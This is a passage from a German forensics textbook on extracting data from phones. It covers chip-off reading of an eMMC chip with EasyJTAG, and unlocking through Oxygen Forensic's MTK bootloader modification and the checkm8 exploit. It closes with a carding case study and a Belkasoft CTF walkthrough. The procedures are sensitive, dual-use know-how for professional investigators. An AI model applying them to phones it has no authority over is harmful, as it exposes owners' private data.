Hier sehen wir, dass in diesem Telefon zwei unterschiedlich lange Schrauben verbaut sind. Der Unterschied ist zwar nur 1mm aber das kann reichen um ein Bauteil zu beschädigen! Bei Telefonen und vielen anderen elektronischen Geräten ist es unbedingt nötig sich zu merken welche Schraube an welcher Stelle gewesen ist. Drehen wir eine zu lange Schraube an die falsche Stelle, kann dies Bauteile kurzschließen oder eventuell sogar die Platine selber beschädigen und Leiterbahnen unterbrechen. Daher gibt es Löt-/Arbeitsmatten mit kleinen nummerierten Fächern in die man einzelne Schrauben legen kann. Ich habe eine solche Arbeitsunterlage mit 8x14 solchen Vertiefungen an der Seite. Darin kann ich die einzelnen Schrauben nicht nur sicher ablegen und vor den wegrollen Schützen sondern auch grob das Muster legen in dem die Schrauben in das Telefon gehören. So kann ich weder eine Schraube verlieren noch vergessen an welcher Position diese waren! Nachdem der Speicherchip entlötet wurde, müssen wir die Pads säubern. Dazu kann man eine feine Entlötlitze und viel Flussmittel verwenden. Arbeiten Sie möglichst vorsichtig! Ein solches Pad ist schneller abgerissen als Sie glauben. Üben Sie keinen Druck aus oder reiben Sie nicht mit der Entlötlitze über die Pads. Wenn die Temperatur stimmt und ausreichend Flussmittel verwendet wird, gleitet die Entlötlitze wie von allein über die Pads! Es ist auch empfehlenswert, dass Sie ein kleines Stück der Entlötlitze abschneiden und nur mit dem abgeschnittenen Stück arbeiten. Metall ist ein sehr guter Wärmeleiter und Sie wollen Wärme in die Pads und die Reste vom Lötzinn bekommen und nicht 3m Entlötlitze erhitzen! 330
Ein kleines Stück von ca. 1 cm Länge erwärmt sich schnell und kann vorsichtig mit dem Lötkolben über die ganze Fläche geschoben werden... Nachdem der Chip gesäubert ist kann dieser beschriftet und in den passenden Sockel eingesetzt werden. Ich verwende hierzu wieder den Pica Classic 532 da dieser Lackstift nicht gepumpt werden muss und daher seine feine Spitze auch länger behält, aber trotzdem gut auf verschiedensten Materialien hält... Meist markiere ich auch an der Oberseite den Pin 1, da viele Chips diese Markierung nur an der Unterseite haben und ich den Chip nicht laufend umdrehen will um nachzusehen. Es ist hierbei sehr wichtig, dass die Pads gut gesäubert wurden und es keine Reste von Lötzinn gibt, die hervorstehen. Bei unterfüllten Chips müssen oft die Ränder vorsichtig mit einem Skalpell gereinigt werden damit der Chip sauber in den Sockel passt. Achten Sie unbedingt darauf, dass der Chip gerade aufliegt! Sind die Ränder auch nur leicht durch Harz-Reste verbreitert sitzen die Chips nicht gerade im Sockel und brechen, wenn der Deckel geschlossen wird und das bedeutet totalen Datenverlust! Derartige Sockel können einen Chip nur sauber lesen, wenn dieser flach aufliegt. Sollte auch nur ein Pad einen größeren Punkt aus Lötzinn haben, riskieren Sie im schlimmsten Fall, dass der Chip bricht und die Daten verloren gehen! Sollte ein Chip nicht erkannt werden versuchen Sie den Chip zu entnehmen und neu hineinzusetzen. Oftmals nutze ich einen Blasebalg um den Sockel von kleinen Staubkörnern zu befreien und den Chip kann man mit einem fusselfreien Tuch von Fettresten und/oder Schuppen befreien. Es reicht oftmals schon, wenn nur ein Pad keinen Kontakt hat, damit der Chip nicht gelesen werden kann. 331
Den Sockel verbinden wir dann mit dem EasyJTAG. Dieses Tool wird mit drei unterschiedlichen Programmen geliefert: > EasyJTAG Plus EMMC, > EasyJTAG SPI Flasher und > EasyJTAG Tool Wir verwenden im Folgenden das Programm EasyJTAG Plus EMMC. Wenn Sie das MOORC Set mit dem SDKarten Adapter verwenden, dann verbinden Sie den Socket mit dem SDKarten Adapter und den Adapter mit einem USB-Kartenleser. Der Chip wir dann wie eine SD-Speicherkarte am PC eingehängt und kann mit entsprechender Software ausgelesen werden. Vergessen Sie aber nicht auch noch einen Write-Blocker dazwischen zu setzen um keine Daten zu verändern, wenn die mit dem MOORC Set arbeiten! In EasyJTAG wählen Sie 1.8V und 1MHz aus. Je langsamer Sie lesen umso stabiler wird der Vorgang. Ich beginne immer mit der niedrigsten Volt-Zahl und der langsamsten Geschwindigkeit. Wenn ich eine ID vom Chip bekomme, kann ich versuchen ob dies auch bei 42MHz (schnellste Einstellung) klappt. Wenn nicht, versuche ich die nächst langsamere Einstellung, usw. Bis die Kommunikation mit dem Chip wieder klappt. Durch das Testen auf der langsamsten Einstellung schließe ich Probleme mit instabilen Chips aus! Außerdem wähle ich bei Interface EasyJTAG2 / E-Socket und bei Bus-Weite 1 bit aus. 332
Nachdem Sie auf Check EMMC/UFS geklickt haben sollten Sie folgende Meldungen sehen: eMMC_tool Suite ver. 1.6.3.0 (release date: 23.06.2020) Microsoft Windows 10 (64 bit) build 19041 (10.0.19041.662) Looking for EasyJTAG box... EasyJTAG API ver. 3401 EasyJTAG Box Serial = CD73030F70F33A45 Card Serial = AA18D36B EasyJTAG Box Firmware = 2.5301 Changelog: 23.06.2020 (ver 1.6.3.0) Fix: Bugs that have been found through your crash report Setting interface to EasyJtag2/E-Socket Setting bus width to 1 Bit Setting frequence to 1 MHz EMMC Device Information : EMMC CID: 90014A2058494E594816A1D928CB4081 EMMC CSD: D02701320F5903FFFFFFFFE78A4040E3 EMMC Manufacture : SKHYNIX , EMMC NAME: XINYH , HEX: 0058494E5948 , S/N: A1D928CB , rev. 0x16 EMMC Manufacture ID: 0x90 , OEM ID: 0x4A , Device Type: BGA (Discrete embedded) , Date: 4/2013 EMMC ROM 1 (Main User Data) Capacity: 3696 MB (0000E7000000) EMMC ROM 2/3 (Boot Partition 1/2) Capacity: 2048 KB (000000200000) EMMC RPMB (Replay Protected Memory Block) Capacity: 2048 KB (000000200000) Counter: 0 , Response: Clean EMMC Permanent Write Protection: No EMMC Temporary Write Protection: No Extended CSD Information : Extended CSD rev: 1.5 (MMC 4.41) Boot configuration [PARTITION_CONFIG]: 0x38 , Boot from: ROM1 (Main User Area) 333
Boot Bus Config: 0x00 , width 1bit H/W Reset Function [RST_N_FUNCTION]: 0x00, RST_n signal is temporarily disabled Supported partition features [PARTITIONING_SUPPORT]: 0x03 Device supports partitioning features Device can have enhanced technological features in partitions and user data area Partition Settings [PARTITION_SETTING_COMPLETED]: 0x00 Backup saved: XINYH_A1D928CB_20220126_125436.extcsd EMMC Init completed. Scanning soft partitions GPT header is not found MBR header is found. Analyzing data ... Partition: mmcblk0p0 [000000000200 - 000000005200], size: 000000005000 (20,0 KB) Partition: mmcblk0p1 [000000005200 - 000000043A00], size: 00000003E800 (250 KB) Partition: mmcblk0p2 [000000043A00 - 000003243A00], size: 000003200000 (50,0 MB) EBR detected at address: 000003243A00 Partition: mmcblk0p3 [000004000000 - 000004200000], size: 000000200000 Partition: mmcblk0p4 [000004200000 - 000004500000], size: 000000300000 Partition: mmcblk0p5 [000004500000 - 000004800000], size: 000000300000 Partition: mmcblk0p6 [000004800000 - 000004B00000], size: 000000300000 Partition: mmcblk0p7 [000004B00000 - 000004D00000], size: 000000200000 Partition: mmcblk0p8 [000004D00000 - 000005100000], size: 000000400000 Partition: mmcblk0p9 [000005100000 - 000005200000], size: 000000100000 Partition: mmcblk0p10 [000005200000 - 0000052C0000], size: 0000000C0000 Partition: mmcblk0p11 [0000052C0000 - 000006002000], size: 000000D42000 Partition: mmcblk0p12 [000006002000 - 000006A02000], size: 000000A00000 Partition: mmcblk0p13 [000006A02000 - 000007402000], size: 000000A00000 Partition: mmcblk0p14 [000007402000 - 000008144000], size: 000000D42000 Partition: mmcblk0p15 [000008144000 - 000030B44000], size: 000028A00000 Partition: mmcblk0p16 [000030B44000 - 000038344000], size: 000007800000 Partition: mmcblk0p17 [000038344000 - 000038349000], size: 000000005000 Partition: mmcblk0p18 [000038349000 - 000087449000], size: 00004F100000 Partition: mmcblk0p19 [000087449000 - 0000E5049000], size: 00005DC00000 Partition: mmcblk0p20 [0000E5049000 - 0000E5349000], size: 000000300000 Partition: mmcblk0p21 [0000E5349000 - 0000E6FFFE00], size: 000001CB6E00 MBR header successfully parsed Get firmware version GPT header is not found GPT header is not found 334
Brand = Lenovo Manufacturer = LENOVO Device = audi Model = Lenovo A760 Phone platform = msm7627a CPU Abi = armeabi-v7a Android release = 4.1.2 Firmware version = audi-user 4.1.2 JZO54K A760_1_S_2_001_0133_130828 test-keys Firmware date = Wed Aug 28 12:03:27 CST 2013 Wir sehen, dass Informationen zum Telefon geladen wurden und auch zu den Partitionen. Damit könnten Sie mit dem Read eMMC Button den gesamten Speicherchip klonen: Dazu sollten wir unter Rom to access den Punkt 000000000 - xxxxxxxx (ROM1) auswählen um den gesamten Chip zu klonen. Hierbei steht xxxxxxxx für das jeweilige Ende des Chips in hexadezimaler Schreibweise. Wir könnten bei Bedarf auch nur bestimmte Partitionen oder Speicherbereiche klonen. Hierbei wäre es ratsam die Daten mit mehr als 1 MHz zu klonen denn mit der langsamsten Einstellung würde der 4 GB Chip ca. 13 - 14 Stunden benötigen. 335
Alternativ dazu kann man die JTAG-Kontakte auf der Platine verwenden. So muss der Speicherchip nicht ausgelötet werden: 336
Telefone entsperren Apple-Geräte und quasi alle Android-Geräte ab Android 6.x sind verschlüsselt und ein entfernen des Speicherchips würde zwar nach wie vor erlauben den Inhalt des Chips zu lesen aber wir könnten damit nichts mehr anfangen. Das ist auch gut so denn abgesehen von privaten Fotos und Informationen haben die meisten Leute auch Passwörter, Zugang zu Ihren Bank- und PayPalKonten, eventuell Kreditkartendaten und einiges mehr auf dem Smartphone gespeichert. Ein Dieb kann also nicht mit einem 120 EUR MOORC Set darauf zugreifen aber das Gleiche gilt auch für Strafverfolgungsbehörden, Datenretter und IT-Forensiker. Als Datenretter wären die meisten Kunden gern bereit mit die PIN-Codes oder das Sperrmuster zu verraten aber wenn das Telefon mit einem Fingerabdruck gesichert ist, können sich die Kunden schlecht den Finger abschneiden und ihn mit dem Telefon mitsenden... Im Bereich der IT-Forensik finden sich eventuell Beweise auf einem Telefon und alles was einen potentiellen Straftäter vor einer Verurteilung bewahren könnte, ist sein PIN-Code oder Sperrmuster. Daher können wir hier eher selten davon ausgehen diese Informationen zu bekommen außer wir untersuchen ein Gerät eines Opfers. Das Entsperren eines Mobiltelefons basiert in der Regel auf einem Exploit oder einem Weg den die Toolhersteller gefunden haben die PIN-Nummer oder das Sperrmuster herauszufinden. Eines will ich vorab klarstellen. Die Tools die ich Ihnen im Folgenden vorstelle kosten jeweils zigtausend Euro und funktionieren mit Glück in einem von drei Fällen, eher in einem von vier Fällen. Die einzige Möglichkeit diese bescheidene Quote zu erhöhen ist es gleich mehrere Tools zu besitzen. Diese überschneiden sich zwar meist in großen Bereichen, haben aber in der Regel einige Techniken, die in bestimmten Fällen besser funktionieren als bei anderen Tools. So kann man nochmals 10 - 15% mehr Fälle lösen, wenn man die passende Toolzusammenstellung besitzt. Also sehen wir uns das meiner Meinung nach beste Tool für den Beginn an: 337
Oxygen Forensic Detective ist ein Tool, dass zu den zwei besten am Markt gehört. Der Vorteil von Oxygen ist der Preis. Die Anschaffung ist gut 20-25% günstiger als das Konkurrenzprodukt und die jährlichen Wartungskosten sind ca. 50-75% günstiger als beim Konkurrenzprodukt. Was die Funktionen bei der Untersuchung und den Funktionsumfang betrifft, übertrifft Oxygen die Konkurrenz da viele Dinge die Oxygen im Paket enthalten hat, bei der Konkurrenz nochmals einiges an Zusatzkosten verursachen. Bei der Datenextraktion von gesperrten Telefonen sind die zwei Tools meiner Meinung nach gleichwertig. (https://www.oxygen-forensic.com/) Zwei weitere interessante Produkte wären: > Mobiledit (https://www.mobiledit.com/) > Belkasoft X (https://belkasoft.com/) Mobiledit bietet einige interessante Ansätze so kann man beispielsweise eine Lizenz für ein Telefon kaufen. Damit hat man zwar keine Unlock-Funktionen aber falls man vereinzelt Telefone untersuchen muss deren Sperrcode man kennt, ist dies eine wirklich interessante Option! Die Pro-Version kostet einige tausend Euro, bietet aber zumindest einige Ensperr-Funktionen und Compelson (der Hersteller von Mobiledit) ist sehr aktiv mit Updates und holt gegenüber der Konkurrenz mit großen Schritten auf. Damit kann dieses Tool durchaus in Einzelfällen eine gute Ergänzung zu Oxygen sein. Belkasoft X ist neben OS Forensics eines der sehr günstigen Einsteiger-Tools und bietet ebenfalls ein paar Unlock-Funktionen für wenige Telefone. Wenn Sie ein günstiges Gesamtpaket für Telefone und Computer suchen, kann X interessant sein aber es ist keine wirklich gute Ergänzung zu Oxygen. Passware Mobil-Kit (https://www.passware.com/kit-mobile/) ist ein Tool, dass keine Analysen anbietet aber für derzeit ca. 1500 Euro bekommt man bis zu 300 Extraktionen pro Jahr und die Liste der unterstützten Modelle steigt gefühlt wöchentlich an. Passware ist für seine forensischen Passwortknacker bekannt und liefert auch hier wieder ein interessantes Produkt, dass viel Potential hat. Außerdem gibt es eine Demo-Version, die zwar 200 Euro kostet, aber 5 Extraktionen erlaubt. Damit ist dies auch wieder eine Option für gelegentliche Nutzer. 338
Diese Liste ist bei weitem nicht vollständig aber je nach Anforderungen kann eines der Tools oder eine Kombination aus mehreren dieser Tools den finanziell sinnvollsten Einstieg in diesen Markt ermöglichen! Sehen wir uns zunächst einige Fälle in Oxygen Forensic Detective an: 1) Acer Z530 Hier haben wir ein etwas älteres Telefon mit Android 5.x bei dem wir wiederum eine Extraktion mit Chip-Off durchführen könnten. Da dieses Telefon auf dem MTK Chipsatz basiert kann ich Ihnen hier eine Extraktionsmethode von Oxygen vorstellen... Wenn wir das Tool starten, sehen wir folgenden Hauptbildschirm: Hier erstellen wir zunächst einen neuen Fall mit dem New Case Button: 339
Nachdem wir die Grunddaten wie Case-Name, etc. eingetragen haben, können wir auf Extract device data klicken und wir sehen folgende Auswahl: 340
Dies sind alle verfügbaren Extraktionsmethoden und einige davon werden wir uns im Folgenden ansehen... Hier rufen wir MTK Android auf und wir sehen folgendes: Um zu prüfen welche Extraktionsmethoden von welchem Gerät unterstützt werden, können wir auch die Geräte-Liste aufrufen und nach der Modellbezeichnung suchen: 341
Diese ist aber nicht immer ganz genau denn bei unserem Z530 ist ein MT6735 verbaut und der wird von MTKBoot unterstützt aber nicht vom MTK (Physical MTK image)! Mit diesen kleinen Fehlern bzw. Ungenauigkeiten müssen wir leben denn auch diese Liste ändert sich mit jedem Update der Hersteller! Sobald wir Bootloader modification gewählt, und auf Next geklickt haben, sehen wir folgendes: Hier können wir den Pfad für die Extraktion festlegen und dann den Vorgang starten oder ein Telefon wieder auf den Ursprungszustand zurücksetzen. Bedenken Sie, dass wir hier das Telefon verändern und Partitionen mit entsprechenden Tools überschreiben die dann die Extraktion ermöglichen. Dieser Vorgang kann im schlimmsten Fall ein Gerät und die Daten völlig blockieren und darum gibt es in den meisten Methoden die sich am Gerät zu schaffen machen auch die Option die Veränderungen rückgängig zu machen falls eine Extraktion fehlschlägt. Sobald wir den Extract filesystem Button anklicken, sehen wir dieses Fenster: 342
Hier müssen wir zuerst das Gerät in den MTK Modus versetzen. Dazu schalten wir das Gerät aus und verbinden dann das USB-Kabel mit dem ausgeschalteten Gerät. Das Gerät sollte dann angehen und in dem MTK Modus wechseln. Sobald dies passiert ist, informiert uns der grüne Haken, dass das Gerät gefunden wurde. Danach müssen wir die passende "Payload" (die DA-Datei) auswählen. Ich versuche in der Regel die Datei MTK_AllInOne_DA.bin und wenn das nicht klappt, recherchiere ich in der Knowledge-Base oder frage beim Support an. Danach können wir den Connect-Button benutzen, um eine Verbindung zum Gerät aufzubauen: 343
Hier teilt uns eine entsprechende Meldung nochmals mit, welcher Chipsatz das Gerät hat. Damit können wir auch sehen, dass alles korrekt erkannt wurde. Der Button Start the extraction lässt Oxygen mit der Datenextraktion beginnen. Hierbei Leiten uns kurze Anweisungen durch den Vorgang: Hier werden wir aufgefordert die Verbindung zu trennen, das Gerät neu zu starten und wenn es vollständig gebootet ist das USB-Kabel wieder anzuschließen. Befolgen Sie diese Anweisungen genau denn oftmals reichen schon kleine Abweichungen damit eine Extraktion fehlschlägt! Nach der erneuten Verbindung startet die Datenextraktion von selbst: 344
Nun müssen wir nur noch warten bis die Daten extrahiert wurden. Dann können wir diese Extraktion dem Fall hinzufügen. Ich will Ihnen aber noch eine weitere Methode zeigen und die Ergebnisse der Extraktionen dann vergleichen. Also wähle ich dieses Mal Android Backup (via ADB) aus: 345
Hier werden wir dazu aufgefordert einige Dinge zu prüfen unter anderem muss USB-Debugging in den Developer Optionen aktiviert sein. Dazu müssen wir die Build-Nummer unter dem Punkt "Über das Telefon" in den Einstellungen 7x antippen. Danach werden die Developer Optionen angezeigt und darin können wir USBDebugging und diverse andere Dinge aktivieren. Die entsprechenden Tools liefern in der Regel eine detaillierte Beschreibung wie und wo genau Optionen auf den verschiedensten Android-Versionen zu finden sind. Befolgen Sie einfach die Anweisungen und wenn alles Nötige aktiviert bzw. deaktiviert wurde, klicken Sie auf Connect. Das öffnet den folgenden Dialog: 346
Hier können wir wieder den Speicherort festlegen und dann mit Extract den Vorgang starten: 347
Oxygen Forensics Detective weist uns an dieser Stelle darauf hin, dass wir am Telefon das Backup bestätigen müssen. Für neuere Systeme müssen wir auch verpflichtend ein Passwort für das Backup festlegen. Bei diesem Telefon klappte es sehr gut. Bei einem noch älteren Modell wollte weder ADB Backup noch die ADB Physikal extraktion laufen. Gegebenenfalls muss die ADB-Version in Oxygen angepasst werden. In solchen Fällen steht Ihnen der Support oder die Knowledge-Base zur Seite! Nachdem das Backup am Telefon bestätigt wurde, müssen wir nur darauf warten, dass es fertig heruntergeladen wurde: 348
Sobald dies geschehen ist, können wir beide Extraktionen in Oxygen Forensic Detective laden und vergleichen: 349
Wir sehen hier links die MTK-Extraktion und rechts das ADB Backup. Vergleichen wir die einzelnen Rubriken, dann sehen wir sehr deutlich, dass eine oberflächlichere Extraktion wie das Backup der Userdaten viel weniger Daten liefert als eine Extraktion auf Systemebene! Daher würde ich, sofern dies möglich ist, immer eine möglichst umfangreiche Extraktion nutzen. Dies sorgt für mehr Daten und verhindert so, dass Beweise übersehen werden. Mein Versuch einer Exynos-Extraktion an einem S8+ (SM-G955F) schlug fehl, weil das Telefon nach einiger Zeit nicht mehr reagierte. Bis zu dem Zeitpunkt an dem ich die Arbeit an diesem Kapitel beendete, lag keine Lösung vor. Wir arbeiten hier mit Tools die auf Reverse-Engineering basieren und kleine Änderungen oder Updates der Hersteller können derartige Lösungen obsolet machen. Das muss Ihnen bewusst sein! 350
2) iPhone 7 (A1778) Der nächste Kandidat ist ein iPhone 7 dessen Lock-Code wir nicht haben. Dazu werden wir das CheckM8 Exploit nutzen. Prüfen wir, ob dieses für dieses Gerät verfügbar ist: Und dann starten wir mit einem Klick auf iOS checkm8: 351
Wie üblich legen wir im ersten Schritt den Speicherort fest und starten dann den Vorgang mit einem Klick auf Checkm8 aquisition: Zuerst müssen wir das iPhone in den DFU Modus versetzen. Dazu müssen wir das Telefon mit dem USB-Kabel verbinden, den Sleep- und Volume runter Button für 10 Sekunden gedrückt halten, dann den Sleep-Knopf loslassen und dem Volume runter Knopf für weitere 8-10 Sekunden gedrückt halten. Der Bildschirm sollte schwarz bleiben und Oxygen sollte die erfolgreiche Verbindung bestätigen so wie wir das oben sehen. Danach haben wir zwei Optionen bei diesem Modell: > Start the extraction (selbsterklärend) > Exploit SEP vulnerability (Secure Enclave Processor) Ich starte an dieser Stelle einfach die Extraktion: 352
Hier wird ebenfalls das Betriebssystem so manipuliert, dass wir vollen Zugriff auf alle Daten bekommen. Ist das passiert haben wir nochmals die Auswahl zwischen einer vollständigen oder selektiven Extraktion: Ich wähle hier Full extraction: 353
Hierbei werden neben den Userdaten auch alle möglichen Artefakte aus dem Betriebssystem selbst extrahiert: Diese daten würden wir gar nicht oder nur teilweise erhalten, wenn wir zB "nur" das iTunes-Backup nutzen würden. Ich hatte auch noch ein altes iPhone 5s zum Testen, hier schlug die CheckM8Extraktion leider fehl. 354
3) Samsung S3 mini (GT-i8190) Bei diesem alten Telefon schlugen sowohl ADB-Backup als auch ADB physical und sogar die OxyAgent-Extraktion fehl. Das liegt wahrscheinlich daran, dass dies ein sehr altes Gerät ist. Wie bereits erwähnt haben wir die Möglichkeit die ADB-Version zu ändern und es so nochmals zu versuchen. Ich habe hier einen Dump des Speicherchips wie zuvor beschrieben mit der Chip-Off Methode angefertigt. Diesen können wir nun importieren. Klicken Sie dazu im entsprechenden Fall auf Import backup und wählen Sie dann die Datei aus... Im ersten Schritt müssen wir dazu angeben welche Art von Daten wir importieren: An dieser Stelle wähle ich Android physical image aus und wir bekommen den üblichen Import-Dialog: 355
Dies ist der gleiche Import-Dialog den wir auch nach der Extraktion der Daten haben. Neben den üblichen Angaben wie Name des Forensikers, Beweismittel- und Fallnummer haben wir auch die Möglichkeit zu bestimmen welche Analysen durchgeführt werden sollen. Hier bietet Oxygen neben den Analysen der üblichen Apps auch die Möglichkeit Bilder mit einer künstlichen Intelligenz zu Klassifizieren. Diese ordnet unter anderem Bilder den folgenden Kategorien zu: > > > > > > > > > Pornografie Nacktheit Kinderpornografie Waffen Gewalt Drogen Geld Kreditkarten / Ausweise Dokumente Eine derartige Klassifizierung von Bildern mag nicht alle Bilder finden aber wenn wir beispielsweise nach kinderpornografischem Material suchen oder einen Fall von Kreditkartenbetrug, Identitätsdiebstahl oder Dokumentenfälschung untersuchen, müssen wir oftmals nicht jedes Bild finden. 356
Es reicht, wenn uns die KI des Programms einige kinderpornografische Fotos oder Fotos von Ausweisen, Kreditkarten bzw. anderen Dokumenten liefert um damit erst mal einen schnellen Überblick zu bekommen. Im Idealfall müssen wir uns dann nicht durch 27139 Urlaubsfotos der letzten 12 Jahre arbeiten denn die KI lieferte uns einige der gesuchten Bilder und deren Speicherort an dem wir mit sehr hoher Wahrscheinlichkeit das restliche Material finden. Solche Dinge helfen uns auch schnell einen Überblick zu bekommen welches Gerät vorrangig genauer untersucht werden sollte. Dennoch kann keine Untersuchung nur auf den Ergebnissen derartiger Tools beruhen und man muss bei der Untersuchung entsprechend gründlich vorgehen und sich das ganze System genau ansehen um nichts zu übersehen. Außerdem gilt es Ergebnisse der Tools genau zu prüfen - eine Erotikdarstellerin, deren Fotos mir bei einer Untersuchung als kinderpornografisches Material getaggt wurden, ist "Kitty Jung" und auf derartige Dinge sollte man achten. Bei "Fans" dieser Darstellerin kann man zumindest gewisse Präferenzen erkennen aber dennoch gilt es Material zu prüfen bevor man voreilige Schlüsse zieht! Vor allem die KI verleitet ein wenig zu voreiligen Schlüssen und ist daher oftmals ein zweischneidiges Schwert... 357
Fallbeispiel Acer Z530 - Carding Die Untersuchung eines Telefons oder Tablets ist im Grunde genau das gleiche wie bei einem PC. Nachdem wir die Hürde mit der Verschlüsselung überwunden haben und die Daten lesen können, verläuft die Untersuchung wie üblich. Daher will ich Ihnen an dieser Stelle nur einige wenige Dinge vorstellen, die Oxygen Forensic Detective erlaubt. Zuerst erlaubt uns der Social Graph einen visuellen Überblick über die Kommunikationskanäle und Beziehungen zwischen den Personen. Dazu fließen Chats, SMS-Nachrichten, Telefonanrufe, E-Mails und Webseitenbesuche in eine grafische Auswertung zusammen: So können wir schnell überblicken wer mit wem wie oft in Verbindung stand und über welchen Kommunikationskanal dies ablief. Hier sehen wir einen realen Fall und dieser ist nicht gerade umfangreich. Derartige grafische Auswertungen können uns einen schnellen Überblick ermöglichen aber auch schnell sehr unübersichtlich werden. Darum ist es meist sinnvoll damit zu beginnen nicht relevantes auszuschließen. 358
Hier sehen wir einen etwas einfacheren konstruierten Fall, bei dem auch die indirekten Verbindungen über Gruppen aufdeckt werden. Gesichtserkennung macht es einfach Accounts verschiedenster Personen zusammenzufügen auch wenn diese unter einem falschen Namen oder Nicknamen laufen: Hierbei werden alle gefundenen Bilder aus allen Quellen (Kamera, Webseiten, Messenger-Apps, Kontakte, ...) zusammengeführt. Wir können diese Daten dann auch mit Fotos abgleichen und so herausfinden ob ein Bild einer bestimmten Person irgendwo auf dem Gerät zu finden ist. Auch hier ist Oxygen nicht unfehlbar aber es macht meist einen sehr guten Job! 359
Abgesehen von diesen zwei sehr hilfreichen Tools zur Analyse von Beziehungen zwischen Personen und Accounts ist und bleibt die forensische Auswertung primär die Durchsicht der vorhandenen Daten. Auch wenn Telefone oftmals weitere zusätzliche nützliche Informationen wie GPS-Koordinaten, zuletzt besuchte Orte, WLAN-Netzwerke und einiges mehr bieten, womit man den Standort eines Telefons zu einem bestimmten Zeitpunkt ermitteln kann, ist die Antwort auf sehr viele Fragen in den ChatNachrichten, E-Mails, Dokumenten oder im Browserverlauf zu finden. Kein forensisches Tool spuckt ihnen auf Knopfdruck die gesuchten Beweise aus und der Großteil der Arbeit ist nach wie vor das Lesen von Texten und die Durchsicht von Bildern - so auch hier in diesem von mir konstruierten Beispiel-Fall: Dieser kurze Auszug aus den über 700 Nachrichten macht klar, dass die eine Person vor hat Kreditkartendaten im Darknet zu kaufen und diese dann zum Kauf von Kryptowährungen zu verwenden. Die andere Person bietet an ein höchstwahrscheinlich gehacktes Konto zu nutzen um das Geld darüber laufen zu lassen. Dies ist zwar nicht wirklich klar aus dem Text ersichtlich, macht aber mit dem 30 Minuten Zeitfenster durchaus Sinn, vor allem da ich weiß, dass dies eine gängige Praxis ist um Ermittlungen zu erschweren. Hier gilt es natürlich mit derartigen Aussagen vorsichtig zu sein und Fakten wiederzugeben und Vermutungen, sofern man diese äußern möchte, auch klar als solche zu benennen. 360
In bestimmten Kreisen gibt es bestimmte Terminologien wie zB das Wort "Carding", das für Kreditkartenmissbrauch steht. Im Bereich der Strafverfolgung ist zwar davon auszugehen, dass Richter und Anwälte, die bereits dutzende Verhandlungen in diesen Bereichen hatten, mit den einschlägigen Begriffen vertraut sind. Es kann aber dennoch nicht Schaden diese für alle Fälle kurz zu erklären. Außerdem gibt es bestimmte Vorgehensweisen wie das hier angedeutete Verschieben von Geldern über mehrere Bezahldienste, Accounts und Konten um verschiedenste Länder in einen Fall zu involvieren. Damit ist eine Strafverfolgungsbehörde gezwungen um Rechtshilfe in mehreren Ländern anzusuchen was einen bestimmten Verwaltungsaufwand bedeutet und zu teilweise erheblichen Verzögerungen führt. Auf ähnliche Weise wird bei Cyberangriffen versucht durch das kombinieren verschiedenster VPN- und Proxyserver die Vorhaltezeit eventueller Logdaten verstreichen zu lassen. Manchmal führt der erhöhte Aufwand auch dazu, dass ein Verfahren dann gänzlich eingestellt wird. 361
EINFÜHRUNG IN BELKASOFT X An dieser Stelle will ich ihnen noch ein Tool vorstellen, dass ich für sehr interessant halte. Wenn Sie ein Tool suchen, mit dem Sie Windows- und Unix-Systeme als auch Telefone untersuchen können und wenn Sie auf ausführliche EntsperrFunktionen für Telefone verzichten können dann wird dieses Produkt für Sie sehr interessant sein. Belkasoft veranstaltet auch regelmäßig CTF-Challenges, die interessant sind und auch eine Geschichte mit klaren Aufgaben erzählen. Daher werden wir uns in diesem Kapitel zwei der Challenges ansehen und diese zumindest teilweise lösen. Beginnen wir mit der "Drug Dealer" CTF: https://belkasoft.com/ctf_may/ Laden Sie die 7-zip Datei herunter und extrahieren Sie die darin enthaltenen Daten. Sie erhalten eine .belkaml und eine .tar Datei. Die zu beantwortenden Fragen finden Sie unter dem Reiter "Challenges". Aus Platzgründen spare ich mir an dieser Stelle das Kopieren und Verifizieren nochmals abzubilden! Zuerst müssen wir einen neuen Fall anlegen: Dazu wählen wir im Home-Fenster, das wir direkt nach dem Start sehen, den Punkt "Create case". Das öffnet folgenden Dialog: 362
Hier tragen wir wie üblich die wichtigsten Angaben wie Fallnummer, Ordner, Zeitzone, Ermittler und Notizen ein. Nachdem wir den Create - Button angeklickt haben, sehen wir: Ein Klick auf Add a new data source to the case öffnet folgenden Dialog: 363
Hier wählen wir Add existing aus und sehen dann folgende Übersicht: Wir können hier zwischen Image, Mobile image, Disk drive (Festplatte), Memory dump und Folder (Ordner) wählen. In diesem Fall haben wir das Image eines Mobiltelefons das wir bearbeiten sollen und darum wählen wir Mobile image aus. Dann werden wir aufgefordert die Image-Datei zu wählen. Sobald wir die .belkaml Datei ausgewählt haben, sehen wir folgenden Dialog: 364
Die .belkaml Datei ist eine XML-Datei, die in diesem Fall nur eine Referenz auf die .tar Datei enthält. Diese Datei könnte aber durchaus noch weitere Daten und selbst zusätzliche extrahierte Artefakte enthalten. Wenn Sie mit einem anderen Tool als Belkasoft X arbeiten, laden Sie einfach die .tar Datei... Belkasoft X bietet uns an dieser Stelle diverse Analysen an. Im ersten Schritt können wir die Artefakte auswählen, die analysiert werden sollen: Ich wähle hier in der Regel immer alles aus. Man kann alle Analysen später ausführen aber ich bevorzuge es, wenn ich mit der Auswertung loslege nicht mehrfach unterbrechen und auf das Ende einer Analyse warten zu müssen. Daher lasse ich alle möglichen Analysen im Vorfeld laufen um später dann flüssig arbeiten zu können. Schritt 2 erlaubt es die Dateien gegen diverse Hash-Sets abzugleichen: 365
Hiermit kann man zB nach einem Cyberangriff relativ einfach bekannte Schadware und Hacking-Tools im Dateisystem finden. Außerdem gibt es Hashsets für alle möglichen anderen Fälle im Internet. Im nächsten Schritt können wir auswählen ob wir Fotos mit Hilfe einer KI analysieren und klassifizieren wollen: 366
Diese Funktion hatten wir bereits bei Oxygen besprochen. Ich wähle auch hier alles aus um schneller einen Überblick zu bekommen. Dies ist vor allem bei Fällen wie diesem nützlich denn bis jetzt weiß ich noch nicht wirklich wonach (Nachricht, E-Mail, Telefonanruf, Sprachnachricht, Foto, GPS-Koordinaten, ...) ich suchen sollte. Der letzte Schritt erlaubt es mir noch nach verschlüsselten Dateien zu suchen: Auch hier ist die Erkennungsrate nicht perfekt aber wir bekommen so oftmals eine Idee und je früher man verschlüsselte Daten findet, umso länger haben Tools wie Hashcat oder das Passware Kit Zeit, die Passwörter zu knacken. Dann erhalten wir noch eine kurze Übersicht: 367
